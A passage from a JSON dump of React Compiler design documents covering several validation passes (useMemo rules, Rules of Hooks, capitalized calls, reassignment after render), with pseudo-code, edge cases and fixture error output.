with lvalues may not be handled:\n   ```typescript\n   CompilerError.throwTodo({\n     reason: 'ValidateContextVariableLValues: unhandled instruction variant',\n     description: `Handle '${value.kind}' lvalues`,\n     ...\n   });\n   ```\n\n## Example\n\n### Fixture: `error.todo-for-of-loop-with-context-variable-iterator.js`\n\n**Input:**\n```javascript\nimport {useHook} from 'shared-runtime';\n\nfunction Component(props) {\n  const data = useHook();\n  const items = [];\n  // NOTE: `item` is a context variable because it's reassigned and also referenced\n  // within a closure, the `onClick` handler of each item\n  for (let item of props.data) {\n    item = item ?? {}; // reassignment to force a context variable\n    items.push(\n      <div key={item.id} onClick={() => data.set(item)}>\n        {item.id}\n      </div>\n    );\n  }\n  return <div>{items}</div>;\n}\n```\n\n**Error:**\n```\nTodo: Support non-trivial for..of inits\n\nerror.todo-for-of-loop-with-context-variable-iterator.ts:8:2\n   6 |   // NOTE: `item` is a context variable because it's reassigned and also referenced\n   7 |   // within a closure, the `onClick` handler of each item\n>  8 |   for (let item of props.data) {\n     |   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n>  9 |     item = item ?? {}; // reassignment to force a context variable\n     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n...\n> 15 |   }\n     | ^^^^ Support non-trivial for..of inits\n```\n\nNote: This particular error comes from an earlier pass (lowering), but demonstrates the kind of context variable scenarios that this validation is designed to catch.\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/40-validateUseMemo.md",
    "content": "# validateUseMemo\n\n## File\n`src/Validation/ValidateUseMemo.ts`\n\n## Purpose\nThis validation pass ensures that `useMemo()` callbacks follow React's requirements. The pass checks for several common mistakes that developers make when using `useMemo()`:\n\n1. Callbacks should not accept parameters (useMemo callbacks are called with no arguments)\n2. Callbacks should not be async or generator functions (must return a value synchronously)\n3. Callbacks should not reassign variables declared outside the callback (must be pure)\n4. Callbacks should return a value (useMemo is for computing values, not side effects)\n5. The result of useMemo should be used (not discarded)\n\n## Input Invariants\n- The function has been lowered to HIR\n- `useMemo` is either imported directly or accessed via `React.useMemo`\n- Function expressions have been lowered with their parameters and async/generator flags preserved\n\n## Validation Rules\n\n### Rule 1: No Parameters\nuseMemo callbacks must not accept parameters.\n\n**Error:**\n```\nError: useMemo() callbacks may not accept parameters\n\nuseMemo() callbacks are called by React to cache calculations across re-renders. They should not take parameters. Instead, directly reference the props, state, or local variables needed for the computation.\n```\n\n### Rule 2: No Async or Generator Functions\nuseMemo callbacks must synchronously return a value.\n\n**Error:**\n```\nError: useMemo() callbacks may not be async or generator functions\n\nuseMemo() callbacks are called once and must synchronously return a value.\n```\n\n### Rule 3: No Reassigning Outer Variables\nuseMemo callbacks cannot reassign variables declared outside the callback.\n\n**Error:**\n```\nError: useMemo() callbacks may not reassign variables declared outside of the callback\n\nuseMemo() callbacks must be pure functions and cannot reassign variables defined outside of the callback function.\n```\n\n### Rule 4: Must Return a Value (when `validateNoVoidUseMemo` is enabled)\nuseMemo callbacks should return a value.\n\n**Error:**\n```\nError: useMemo() callbacks must return a value\n\nThis useMemo() callback doesn't return a value. useMemo() is for computing and caching values, not for arbitrary side effects.\n```\n\n### Rule 5: Result Must Be Used (when `validateNoVoidUseMemo` is enabled)\nThe result of useMemo should be used somewhere.\n\n**Error:**\n```\nError: useMemo() result is unused\n\nThis useMemo() value is unused. useMemo() is for computing and caching values, not for arbitrary side effects.\n```\n\n## Algorithm\n\n### Phase 1: Track useMemo References\n```typescript\nconst useMemos = new Set<IdentifierId>();\nconst react = new Set<IdentifierId>();\nconst functions = new Map<IdentifierId, FunctionExpression>();\nconst unusedUseMemos = new Map<IdentifierId, SourceLocation>();\n```\n\nThe pass tracks:\n- Direct `useMemo` imports via `LoadGlobal`\n- `React` imports to detect `React.useMemo` pattern\n- Function expressions that might be useMemo callbacks\n- Unused useMemo results\n\n### Phase 2: Identify useMemo Calls\n```typescript\nfor (const instr of block.instructions) {\n  switch (value.kind) {\n    case 'LoadGlobal':\n      if (value.binding.name === 'useMemo') {\n        useMemos.add(lvalue.identifier.id);\n      } else if (value.binding.name === 'React') {\n        react.add(lvalue.identifier.id);\n      }\n      break;\n    case 'PropertyLoad':\n      if (react.has(value.object.identifier.id) && value.property === 'useMemo') {\n        useMemos.add(lvalue.identifier.id);\n      }\n      break;\n    case 'CallExpression':\n    case 'MethodCall':\n      // Check if callee is useMemo\n      const callee = value.kind === 'CallExpression' ? value.callee : value.property;\n      if (useMemos.has(callee.identifier.id) && value.args.length > 0) {\n        // Validate the callback\n      }\n      break;\n  }\n}\n```\n\n### Phase 3: Validate Callback\nFor each useMemo call, the pass retrieves the callback function expression and validates:\n\n```typescript\nconst body = functions.get(arg.identifier.id);\n\n// Check for parameters\nif (body.loweredFunc.func.params.length > 0) {\n  errors.push(\"useMemo() callbacks may not accept parameters\");\n}\n\n// Check for async/generator\nif (body.loweredFunc.func.async || body.loweredFunc.func.generator) {\n  errors.push(\"useMemo() callbacks may not be async or generator functions\");\n}\n\n// Check for context variable reassignment\nvalidateNoContextVariableAssignment(body.loweredFunc.func, errors);\n\n// Check for return value (if config enabled)\nif (fn.env.config.validateNoVoidUseMemo) {\n  if (!hasNonVoidReturn(body.loweredFunc.func)) {\n    errors.push(\"useMemo() callbacks must return a value\");\n  }\n}\n```\n\n### Phase 4: Validate No Context Variable Assignment\n```typescript\nfunction validateNoContextVariableAssignment(fn: HIRFunction, errors: CompilerError) {\n  const context = new Set(fn.context.map(place => place.identifier.id));\n  for (const block of fn.body.blocks.values()) {\n    for (const instr of block.instructions) {\n      if (value.kind === 'StoreContext') {\n        if (context.has(value.lvalue.place.identifier.id)) {\n          errors.push(\"Cannot reassign variable\");\n        }\n      }\n    }\n  }\n}\n```\n\n### Phase 5: Check for Unused Results\n```typescript\n// Track which useMemo results are referenced\nfor (const operand of eachInstructionValueOperand(value)) {\n  unusedUseMemos.delete(operand.identifier.id);\n}\n\n// At the end, report any unused useMemos\nfor (const loc of unusedUseMemos.values()) {\n  errors.push(\"useMemo() result is unused\");\n}\n```\n\n### Return Value Helper\n```typescript\nfunction hasNonVoidReturn(func: HIRFunction): boolean {\n  for (const [, block] of func.body.blocks) {\n    if (block.terminal.kind === 'return') {\n      if (block.terminal.returnVariant === 'Explicit' ||\n          block.terminal.returnVariant === 'Implicit') {\n        return true;\n      }\n    }\n  }\n  return false;\n}\n```\n\n## Edge Cases\n\n### React.useMemo vs useMemo\nThe pass handles both import styles:\n```javascript\nimport {useMemo} from 'react';\nuseMemo(() => x, [x]);\n\nimport React from 'react';\nReact.useMemo(() => x, [x]);\n```\n\n### Immediately Used Results\nResults that are used immediately don't trigger the \"unused\" warning:\n```javascript\nconst x = useMemo(() => compute(), [dep]);\nreturn x; // x is used\n```\n\n### Void Return Detection\nThe pass checks for explicit and implicit returns. A function with only `return;` statements (void returns) will trigger the \"must return a value\" error.\n\n### VoidUseMemo Errors as Logged Errors\nThe void useMemo errors (no return value, unused result) are logged via `fn.env.logErrors()` rather than thrown immediately. This allows them to be treated differently (e.g., as warnings) based on configuration.\n\n## TODOs\nNone in the source file.\n\n## Example\n\n### Fixture: `error.invalid-useMemo-callback-args.js`\n\n**Input:**\n```javascript\nfunction component(a, b) {\n  let x = useMemo(c => a, []);\n  return x;\n}\n```\n\n**Error:**\n```\nError: useMemo() callbacks may not accept parameters\n\nuseMemo() callbacks are called by React to cache calculations across re-renders. They should not take parameters. Instead, directly reference the props, state, or local variables needed for the computation.\n\nerror.invalid-useMemo-callback-args.ts:2:18\n  1 | function component(a, b) {\n> 2 |   let x = useMemo(c => a, []);\n    |                   ^ Callbacks with parameters are not supported\n  3 |   return x;\n  4 | }\n```\n\n### Fixture: `error.invalid-useMemo-async-callback.js`\n\n**Input:**\n```javascript\nfunction component(a, b) {\n  let x = useMemo(async () => {\n    await a;\n  }, []);\n  return x;\n}\n```\n\n**Error:**\n```\nError: useMemo() callbacks may not be async or generator functions\n\nuseMemo() callbacks are called once and must synchronously return a value.\n\nerror.invalid-useMemo-async-callback.ts:2:18\n  1 | function component(a, b) {\n> 2 |   let x = useMemo(async () => {\n    |                   ^^^^^^^^^^^^^\n> 3 |     await a;\n    | ^^^^^^^^^^^^\n> 4 |   }, []);\n    | ^^^^ Async and generator functions are not supported\n```\n\n### Fixture: `error.invalid-reassign-variable-in-usememo.js`\n\n**Input:**\n```javascript\nfunction Component() {\n  let x;\n  const y = useMemo(() => {\n    let z;\n    x = [];\n    z = true;\n    return z;\n  }, []);\n  return [x, y];\n}\n```\n\n**Error:**\n```\nError: useMemo() callbacks may not reassign variables declared outside of the callback\n\nuseMemo() callbacks must be pure functions and cannot reassign variables defined outside of the callback function.\n\nerror.invalid-reassign-variable-in-usememo.ts:5:4\n  3 |   const y = useMemo(() => {\n  4 |     let z;\n> 5 |     x = [];\n    |     ^ Cannot reassign variable\n  6 |     z = true;\n  7 |     return z;\n  8 |   }, []);\n```\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/41-validateHooksUsage.md",
    "content": "# validateHooksUsage\n\n## File\n`src/Validation/ValidateHooksUsage.ts`\n\n## Purpose\nThis validation pass ensures that the function honors the [Rules of Hooks](https://react.dev/warnings/invalid-hook-call-warning). Specifically, it validates that:\n\n1. Hooks may only be called unconditionally (not in if statements, loops, etc.)\n2. Hooks cannot be used as first-class values (passed around, stored in variables, etc.)\n3. Hooks must be the same function on every render (no dynamic hooks)\n4. Hooks must be called at the top level, not within nested function expressions\n\n## Input Invariants\n- The function has been lowered to HIR\n- Global bindings have been resolved and typed\n- Nested function expressions have been lowered\n\n## Value Kinds Lattice\n\nThe pass uses abstract interpretation with a lattice of value kinds:\n\n```typescript\nenum Kind {\n  Error,        // Hook already used in an invalid way (stop reporting)\n  KnownHook,    // Definitely a hook (from LoadGlobal with hook type)\n  PotentialHook, // Might be a hook (hook-like name but not from global)\n  Global,       // A global value that is not a hook\n  Local,        // A local variable\n}\n```\n\nThe `joinKinds` function merges kinds, with earlier kinds taking precedence:\n- `Error` > `KnownHook` > `PotentialHook` > `Global` > `Local`\n\n## Validation Rules\n\n### Rule 1: No Conditional Hook Calls\nHooks must always be called in a consistent order.\n\n**Error:**\n```\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n```\n\n### Rule 2: No Hooks as First-Class Values\nKnown hooks may not be referenced as normal values (only called).\n\n**Error:**\n```\nError: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values\n```\n\n### Rule 3: No Dynamic Hooks\nPotential hooks (hook-like names from local scope) may change between renders.\n\n**Error:**\n```\nError: Hooks must be the same function on every render, but this value may change over time to a different function. See https://react.dev/reference/rules/react-calls-components-and-hooks#dont-dynamically-use-hooks\n```\n\n### Rule 4: No Hooks in Nested Functions\nHooks must be called at the top level of a component or custom hook.\n\n**Error:**\n```\nError: Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nCannot call [hookKind] within a function expression\n```\n\n## Algorithm\n\n### Phase 1: Compute Unconditional Blocks\n```typescript\nconst unconditionalBlocks = computeUnconditionalBlocks(fn);\n```\nDetermines which blocks are guaranteed to execute on every render (not inside conditionals).\n\n### Phase 2: Initialize Tracking\n```typescript\nconst valueKinds = new Map<IdentifierId, Kind>();\n\n// Initialize parameters\nfor (const param of fn.params) {\n  const place = param.kind === 'Identifier' ? param : param.place;\n  const kind = getKindForPlace(place); // PotentialHook if hook-like name\n  setKind(place, kind);\n}\n```\n\n### Phase 3: Track Value Kinds Through Instructions\n\nFor each instruction, the pass tracks how hook-ness flows through values:\n\n```typescript\ncase 'LoadGlobal':\n  // Globals are the source of KnownHook\n  if (getHookKind(fn.env, instr.lvalue.identifier) != null) {\n    setKind(instr.lvalue, Kind.KnownHook);\n  } else {\n    setKind(instr.lvalue, Kind.Global);\n  }\n  break;\n\ncase 'PropertyLoad':\n  // Hook-like property of Global -> KnownHook\n  // Hook-like property of Local -> PotentialHook\n  // Property of KnownHook -> KnownHook (if hook-like name)\n  const objectKind = getKindForPlace(value.object);\n  const isHookProperty = isHookName(value.property);\n  // Determine kind based on object kind and property name\n  break;\n\ncase 'CallExpression':\n  const calleeKind = getKindForPlace(value.callee);\n  const isHookCallee = calleeKind === Kind.KnownHook || calleeKind === Kind.PotentialHook;\n\n  if (isHookCallee && !unconditionalBlocks.has(block.id)) {\n    recordConditionalHookError(value.callee);\n  } else if (calleeKind === Kind.PotentialHook) {\n    recordDynamicHookUsageError(value.callee);\n  }\n  break;\n```\n\n### Phase 4: Check for Invalid Hook References\n\nWhen a `KnownHook` is used as an operand (not as a callee), it's an error:\n\n```typescript\nfunction visitPlace(place: Place): void {\n  const kind = valueKinds.get(place.identifier.id);\n  if (kind === Kind.KnownHook) {\n    recordInvalidHookUsageError(place);\n  }\n}\n```\n\n### Phase 5: Validate Nested Function Expressions\n\nRecursively check that nested functions don't call hooks:\n\n```typescript\nfunction visitFunctionExpression(errors: CompilerError, fn: HIRFunction) {\n  for (const instr of allInstructions(fn)) {\n    if (isCall(instr)) {\n      const callee = getCallee(instr);\n      const hookKind = getHookKind(fn.env, callee.identifier);\n      if (hookKind != null) {\n        errors.push({\n          reason: 'Hooks must be called at the top level...',\n          description: `Cannot call ${hookKind} within a function expression`,\n        });\n      }\n    }\n    // Recursively check nested functions\n    if (isFunctionExpression(instr)) {\n      visitFunctionExpression(errors, instr.value.loweredFunc.func);\n    }\n  }\n}\n```\n\n### Phi Node Handling\n\nFor phi nodes (control flow join points), the pass joins the kinds of all operands:\n\n```typescript\nfor (const phi of block.phis) {\n  let kind = isHookName(phi.place.identifier.name) ? Kind.PotentialHook : Kind.Local;\n  for (const [, operand] of phi.operands) {\n    const operandKind = valueKinds.get(operand.identifier.id);\n    if (operandKind !== undefined) {\n      kind = joinKinds(kind, operandKind);\n    }\n  }\n  valueKinds.set(phi.place.identifier.id, kind);\n}\n```\n\n## Edge Cases\n\n### Optional Calls\nOptional calls like `useHook?.()` are treated as conditional:\n```javascript\nconst result = useHook?.(); // Error: conditional hook call\n```\n\n### Property Access on Hooks\nHook-like properties of known hooks are also known hooks:\n```javascript\nconst useFoo = useHook.useFoo; // useFoo is KnownHook\nuseFoo(); // Must be called unconditionally\n```\n\n### Destructuring from Global\nDestructuring hook-like names from a global creates known hooks:\n```javascript\nconst {useState} = React; // useState is KnownHook\n```\n\n### Hook-Like Names from Local Variables\nHook-like names from local variables are potential hooks:\n```javascript\nconst obj = createObject();\nconst useFoo = obj.useFoo; // PotentialHook\nuseFoo(); // Error: dynamic hook\n```\n\n### Error Deduplication\nThe pass deduplicates errors by source location, and once an error is recorded for a place, it's marked as `Kind.Error` to prevent further errors for the same place.\n\n## TODOs\n\n1. **Fixpoint iteration for loops** - The pass currently skips phi operands whose value is unknown (which can occur in loops). A follow-up could expand this to fixpoint iteration:\n   ```typescript\n   // NOTE: we currently skip operands whose value is unknown\n   // (which can only occur for functions with loops), we may\n   // cause us to miss invalid code in some cases. We should\n   // expand this to a fixpoint iteration in a follow-up.\n   ```\n\n## Example\n\n### Fixture: `rules-of-hooks/error.invalid-hook-if-consequent.js`\n\n**Input:**\n```javascript\nfunction Component(props) {\n  let x = null;\n  if (props.cond) {\n    x = useHook();\n  }\n  return x;\n}\n```\n\n**Error:**\n```\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nerror.invalid-hook-if-consequent.ts:4:8\n  2 |   let x = null;\n  3 |   if (props.cond) {\n> 4 |     x = useHook();\n    |         ^^^^^^^ Hooks must always be called in a consistent order...\n  5 |   }\n  6 |   return x;\n```\n\n### Fixture: `rules-of-hooks/error.invalid-hook-as-prop.js`\n\n**Input:**\n```javascript\nfunction Component({useFoo}) {\n  useFoo();\n}\n```\n\n**Error:**\n```\nError: Hooks must be the same function on every render, but this value may change over time to a different function. See https://react.dev/reference/rules/react-calls-components-and-hooks#dont-dynamically-use-hooks\n\nerror.invalid-hook-as-prop.ts:2:2\n  1 | function Component({useFoo}) {\n> 2 |   useFoo();\n    |   ^^^^^^ Hooks must be the same function on every render...\n  3 | }\n```\n\n### Fixture: `rules-of-hooks/error.invalid-hook-in-nested-function-expression-object-expression.js`\n\n**Input:**\n```javascript\nfunction Component() {\n  'use memo';\n  const f = () => {\n    const x = {\n      outer() {\n        const g = () => {\n          const y = {\n            inner() {\n              return useFoo();\n            },\n          };\n          return y;\n        };\n      },\n    };\n    return x;\n  };\n}\n```\n\n**Error:**\n```\nError: Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nCannot call hook within a function expression.\n\nerror.invalid-hook-in-nested-function-expression-object-expression.ts:10:21\n   8 |           const y = {\n   9 |             inner() {\n> 10 |               return useFoo();\n     |                      ^^^^^^ Hooks must be called at the top level...\n  11 |             },\n  12 |           };\n```\n\n### Fixture: `rules-of-hooks/error.invalid-hook-optionalcall.js`\n\n**Input:**\n```javascript\nfunction Component() {\n  const {result} = useConditionalHook?.() ?? {};\n  return result;\n}\n```\n\n**Error:**\n```\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nerror.invalid-hook-optionalcall.ts:2:19\n  1 | function Component() {\n> 2 |   const {result} = useConditionalHook?.() ?? {};\n    |                    ^^^^^^^^^^^^^^^^^^ Hooks must always be called in a consistent order...\n  3 |   return result;\n```\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/42-validateNoCapitalizedCalls.md",
    "content": "# validateNoCapitalizedCalls\n\n## File\n`src/Validation/ValidateNoCapitalizedCalls.ts`\n\n## Purpose\nThis validation pass ensures that capitalized functions are not called directly in a component. In React, capitalized functions are conventionally reserved for components, which should be invoked via JSX syntax rather than direct function calls.\n\nDirect calls to capitalized functions can cause issues because:\n1. Components may contain hooks, and calling them directly violates the Rules of Hooks\n2. The React runtime expects components to be rendered via JSX for proper reconciliation\n3. Direct calls bypass React's rendering lifecycle and state management\n\nThis validation is opt-in and controlled by the `validateNoCapitalizedCalls` configuration option.\n\n## Input Invariants\n- The function has been lowered to HIR\n- Global bindings have been resolved\n- The `validateNoCapitalizedCalls` configuration option is enabled (via pragma or config)\n\n## Validation Rules\n\n### Rule 1: No Direct Calls to Capitalized Globals\nCapitalized global functions (not in the allowlist) cannot be called directly.\n\n**Error:**\n```\nError: Capitalized functions are reserved for components, which must be invoked with JSX. If this is a component, render it with JSX. Otherwise, ensure that it has no hook calls and rename it to begin with a lowercase letter. Alternatively, if you know for a fact that this function is not a component, you can allowlist it via the compiler config\n\n[FunctionName] may be a component.\n```\n\n### Rule 2: No Direct Method Calls to Capitalized Properties\nCapitalized methods on objects cannot be called directly.\n\n**Error:**\n```\nError: Capitalized functions are reserved for components, which must be invoked with JSX. If this is a component, render it with JSX. Otherwise, ensure that it has no hook calls and rename it to begin with a lowercase letter. Alternatively, if you know for a fact that this function is not a component, you can allowlist it via the compiler config\n\n[MethodName] may be a component.\n```\n\n## Algorithm\n\n### Phase 1: Build Allowlist\n```typescript\nconst ALLOW_LIST = new Set([\n  ...DEFAULT_GLOBALS.keys(),           // Built-in globals (Array, Object, etc.)\n  ...(envConfig.validateNoCapitalizedCalls ?? []),  // User-configured allowlist\n]);\n\nconst isAllowed = (name: string): boolean => {\n  return ALLOW_LIST.has(name);\n};\n```\n\n### Phase 2: Track Capitalized Globals and Properties\n```typescript\nconst capitalLoadGlobals = new Map<IdentifierId, string>();\nconst capitalizedProperties = new Map<IdentifierId, string>();\n```\n\n### Phase 3: Scan Instructions\n```typescript\nfor (const instr of block.instructions) {\n  switch (value.kind) {\n    case 'LoadGlobal':\n      // Track capitalized globals (excluding CONSTANTS)\n      if (\n        value.binding.name !== '' &&\n        /^[A-Z]/.test(value.binding.name) &&\n        !(value.binding.name.toUpperCase() === value.binding.name) &&\n        !isAllowed(value.binding.name)\n      ) {\n        capitalLoadGlobals.set(lvalue.identifier.id, value.binding.name);\n      }\n      break;\n\n    case 'CallExpression':\n      // Check if calling a tracked capitalized global\n      const calleeName = capitalLoadGlobals.get(value.callee.identifier.id);\n      if (calleeName != null) {\n        CompilerError.throwInvalidReact({\n          reason: 'Capitalized functions are reserved for components...',\n          description: `${calleeName} may be a component`,\n          ...\n        });\n      }\n      break;\n\n    case 'PropertyLoad':\n      // Track capitalized properties\n      if (typeof value.property === 'string' && /^[A-Z]/.test(value.property)) {\n        capitalizedProperties.set(lvalue.identifier.id, value.property);\n      }\n      break;\n\n    case 'MethodCall':\n      // Check if calling a tracked capitalized property\n      const propertyName = capitalizedProperties.get(value.property.identifier.id);\n      if (propertyName != null) {\n        errors.push({\n          reason: 'Capitalized functions are reserved for components...',\n          description: `${propertyName} may be a component`,\n          ...\n        });\n      }\n      break;\n  }\n}\n```\n\n## Edge Cases\n\n### ALL_CAPS Constants\nFunctions with names that are entirely uppercase (like `CONSTANTS`) are not flagged:\n```javascript\nconst x = MY_CONSTANT(); // Not an error - all caps indicates a constant, not a component\nconst y = MyComponent(); // Error - PascalCase indicates a component\n```\n\n### Built-in Globals\nThe default globals from `DEFAULT_GLOBALS` are automatically allowlisted:\n```javascript\nconst arr = Array(5);    // OK - Array is a built-in\nconst obj = Object.create(null);  // OK - Object is a built-in\n```\n\n### User-Configured Allowlist\nUsers can allowlist specific functions via configuration:\n```typescript\nvalidateNoCapitalizedCalls: ['MyUtility', 'SomeFactory']\n```\n\n### Method Calls vs Function Calls\nBoth direct function calls and method calls on objects are checked:\n```javascript\nMyComponent();           // Error - direct call\nsomeObject.MyComponent(); // Error - method call\n```\n\n### Chained Property Access\nOnly the immediate property being called is checked:\n```javascript\na.b.MyComponent(); // Only checks if MyComponent is capitalized\n```\n\n## TODOs\nNone in the source file.\n\n## Example\n\n### Fixture: `error.capitalized-function-call.js`\n\n**Input:**\n```javascript\n// @validateNoCapitalizedCalls\nfunction Component() {\n  const x = SomeFunc();\n\n  return x;\n}\n```\n\n**Error:**\n```\nError: Capitalized functions are reserved for components, which must be invoked with JSX. If this is a component, render it with JSX. Otherwise, ensure that it has no hook calls and rename it to begin with a lowercase letter. Alternatively, if you know for a fact that this function is not a component, you can allowlist it via the compiler config\n\nSomeFunc may be a component.\n\nerror.capitalized-function-call.ts:3:12\n  1 | // @validateNoCapitalizedCalls\n  2 | function Component() {\n> 3 |   const x = SomeFunc();\n    |             ^^^^^^^^^^ Capitalized functions are reserved for components...\n  4 |\n  5 |   return x;\n  6 | }\n```\n\n### Fixture: `error.capitalized-method-call.js`\n\n**Input:**\n```javascript\n// @validateNoCapitalizedCalls\nfunction Component() {\n  const x = someGlobal.SomeFunc();\n\n  return x;\n}\n```\n\n**Error:**\n```\nError: Capitalized functions are reserved for components, which must be invoked with JSX. If this is a component, render it with JSX. Otherwise, ensure that it has no hook calls and rename it to begin with a lowercase letter. Alternatively, if you know for a fact that this function is not a component, you can allowlist it via the compiler config\n\nSomeFunc may be a component.\n\nerror.capitalized-method-call.ts:3:12\n  1 | // @validateNoCapitalizedCalls\n  2 | function Component() {\n> 3 |   const x = someGlobal.SomeFunc();\n    |             ^^^^^^^^^^^^^^^^^^^^^ Capitalized functions are reserved for components...\n  4 |\n  5 |   return x;\n  6 | }\n```\n\n### Fixture: `capitalized-function-allowlist.js` (No Error)\n\n**Input:**\n```javascript\n// @validateNoCapitalizedCalls:[\"SomeFunc\"]\nfunction Component() {\n  const x = SomeFunc();\n  return x;\n}\n```\n\n**Output:**\nCompiles successfully because `SomeFunc` is in the allowlist.\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/43-validateLocalsNotReassignedAfterRender.md",
    "content": "# validateLocalsNotReassignedAfterRender\n\n## File\n`src/Validation/ValidateLocalsNotReassignedAfterRender.ts`\n\n## Purpose\nThis validation pass prevents a category of bugs where a closure captures a binding from one render but does not update when the binding is reassigned in a later render.\n\nWhen the React Compiler memoizes a function, that function captures bindings at the time of creation. If the function is reused across renders (because its dependencies haven't changed), any reassignments to captured variables will affect the wrong binding version. This can cause inconsistent behavior that's difficult to debug.\n\nThe pass detects when:\n1. A local variable is reassigned within a function expression\n2. That function expression escapes (e.g., passed to useEffect, used as event handler)\n3. The reassignment would occur after render completes (in effects or async callbacks)\n\n## Input Invariants\n- The function has been lowered to HIR\n- Effects have been inferred for all operands (`operand.effect !== Effect.Unknown`)\n- Function signatures have been analyzed for `noAlias` properties\n\n## Validation Rules\n\n### Rule 1: No Reassignment After Render\nVariables cannot be reassigned in functions that escape to be called after render.\n\n**Error:**\n```\nError: Cannot reassign variable after render completes\n\nReassigning `[variable]` after render has completed can cause inconsistent behavior on subsequent renders. Consider using state instead.\n```\n\n### Rule 2: No Reassignment in Async Functions\nVariables cannot be reassigned within async functions (async functions always execute after render).\n\n**Error:**\n```\nError: Cannot reassign variable in async function\n\nReassigning a variable in an async function can cause inconsistent behavior on subsequent renders. Consider using state instead.\n```\n\n## Algorithm\n\n### Phase 1: Track Context Variables\nContext variables are variables declared in the outer component/hook that are captured by inner functions:\n\n```typescript\nconst contextVariables = new Set<IdentifierId>();\n\n// For DeclareContext in the main function, add to tracking\ncase 'DeclareContext':\n  if (!isFunctionExpression) {\n    contextVariables.add(value.lvalue.place.identifier.id);\n  }\n  break;\n```\n\n### Phase 2: Detect Reassigning Functions\nThe pass tracks which functions contain reassignments to context variables:\n\n```typescript\nconst reassigningFunctions = new Map<IdentifierId, Place>();\n\ncase 'FunctionExpression':\ncase 'ObjectMethod':\n  // Recursively check if the function reassigns context variables\n  let reassignment = getContextReassignment(\n    value.loweredFunc.func,\n    contextVariables,\n    true,  // isFunctionExpression\n    isAsync || value.loweredFunc.func.async\n  );\n\n  // Also check if any captured functions reassign\n  if (reassignment === null) {\n    for (const operand of eachInstructionValueOperand(value)) {\n      const fromOperand = reassigningFunctions.get(operand.identifier.id);\n      if (fromOperand !== undefined) {\n        reassignment = fromOperand;\n        break;\n      }\n    }\n  }\n\n  if (reassignment !== null) {\n    // If async, error immediately\n    if (isAsync || value.loweredFunc.func.async) {\n      throw new CompilerError(\"Cannot reassign variable in async function\");\n    }\n    // Otherwise, track this function as reassigning\n    reassigningFunctions.set(lvalue.identifier.id, reassignment);\n  }\n  break;\n```\n\n### Phase 3: Detect Reassignment in Function Expression\nWithin a function expression, a `StoreContext` to a context variable is a reassignment:\n\n```typescript\ncase 'StoreContext':\n  if (isFunctionExpression) {\n    if (contextVariables.has(value.lvalue.place.identifier.id)) {\n      return value.lvalue.place;  // Found a reassignment\n    }\n  } else {\n    // In main function, just track the context variable\n    contextVariables.add(value.lvalue.place.identifier.id);\n  }\n  break;\n```\n\n### Phase 4: Propagate Reassignment Through Data Flow\nReassigning functions flow through local/context stores:\n\n```typescript\ncase 'StoreLocal':\ncase 'StoreContext':\n  const reassignment = reassigningFunctions.get(value.value.identifier.id);\n  if (reassignment !== undefined) {\n    reassigningFunctions.set(value.lvalue.place.identifier.id, reassignment);\n    reassigningFunctions.set(lvalue.identifier.id, reassignment);\n  }\n  break;\n\ncase 'LoadLocal':\n  const reassignment = reassigningFunctions.get(value.place.identifier.id);\n  if (reassignment !== undefined) {\n    reassigningFunctions.set(lvalue.identifier.id, reassignment);\n  }\n  break;\n```\n\n### Phase 5: Check Escape Points\nWhen a reassigning function is used as an operand with `Effect.Freeze`, it means the function escapes (e.g., passed to a hook, used as a prop):\n\n```typescript\nfor (const operand of operands) {\n  const reassignment = reassigningFunctions.get(operand.identifier.id);\n  if (reassignment !== undefined) {\n    if (operand.effect === Effect.Freeze) {\n      // Function escapes - this is an error\n      return reassignment;\n    } else {\n      // Function doesn't escape yet, propagate to lvalues\n      for (const lval of eachInstructionLValue(instr)) {\n        reassigningFunctions.set(lval.identifier.id, reassignment);\n      }\n    }\n  }\n}\n```\n\n### Phase 6: Check Terminal Operands\nReassigning functions used in terminal operands (like return) also escape:\n\n```typescript\nfor (const operand of eachTerminalOperand(block.terminal)) {\n  const reassignment = reassigningFunctions.get(operand.identifier.id);\n  if (reassignment !== undefined) {\n    return reassignment;\n  }\n}\n```\n\n### NoAlias Optimization\nFor function calls with `noAlias` signatures, only the callee needs to be checked (not all arguments):\n\n```typescript\nif (value.kind === 'CallExpression') {\n  const signature = getFunctionCallSignature(fn.env, value.callee.identifier.type);\n  if (signature?.noAlias) {\n    operands = [value.callee];  // Only check the callee\n  }\n}\n```\n\n## Edge Cases\n\n### Nested Async Functions\nAsync functions are always detected as problematic, regardless of nesting level:\n```javascript\nfunction Component() {\n  let x = 0;\n  const f = async () => {\n    const g = () => {\n      x = 1;  // Error: in async context\n    };\n  };\n}\n```\n\n### Function Composition\nIf a reassigning function is captured by another function, that outer function is also marked as reassigning:\n```javascript\nfunction Component() {\n  let x = 0;\n  const reassign = () => { x = 1; };\n  const wrapper = () => { reassign(); };\n  useEffect(wrapper);  // Error: wrapper contains reassign\n}\n```\n\n### NoAlias Functions\nFunctions with `noAlias` signatures don't let their arguments escape, so passing a reassigning function to them is safe:\n```javascript\nfunction Component() {\n  let x = 0;\n  const f = () => { x = 1; };\n  console.log(f);  // OK: console.log has noAlias, f doesn't escape\n}\n```\n\n### Direct Effect Usage\nThe most common case is passing a reassigning function to useEffect:\n```javascript\nfunction Component() {\n  let local;\n  const reassign = () => { local = 'new value'; };\n  useEffect(() => { reassign(); }, []);  // Error\n}\n```\n\n## TODOs\nNone in the source file.\n\n## 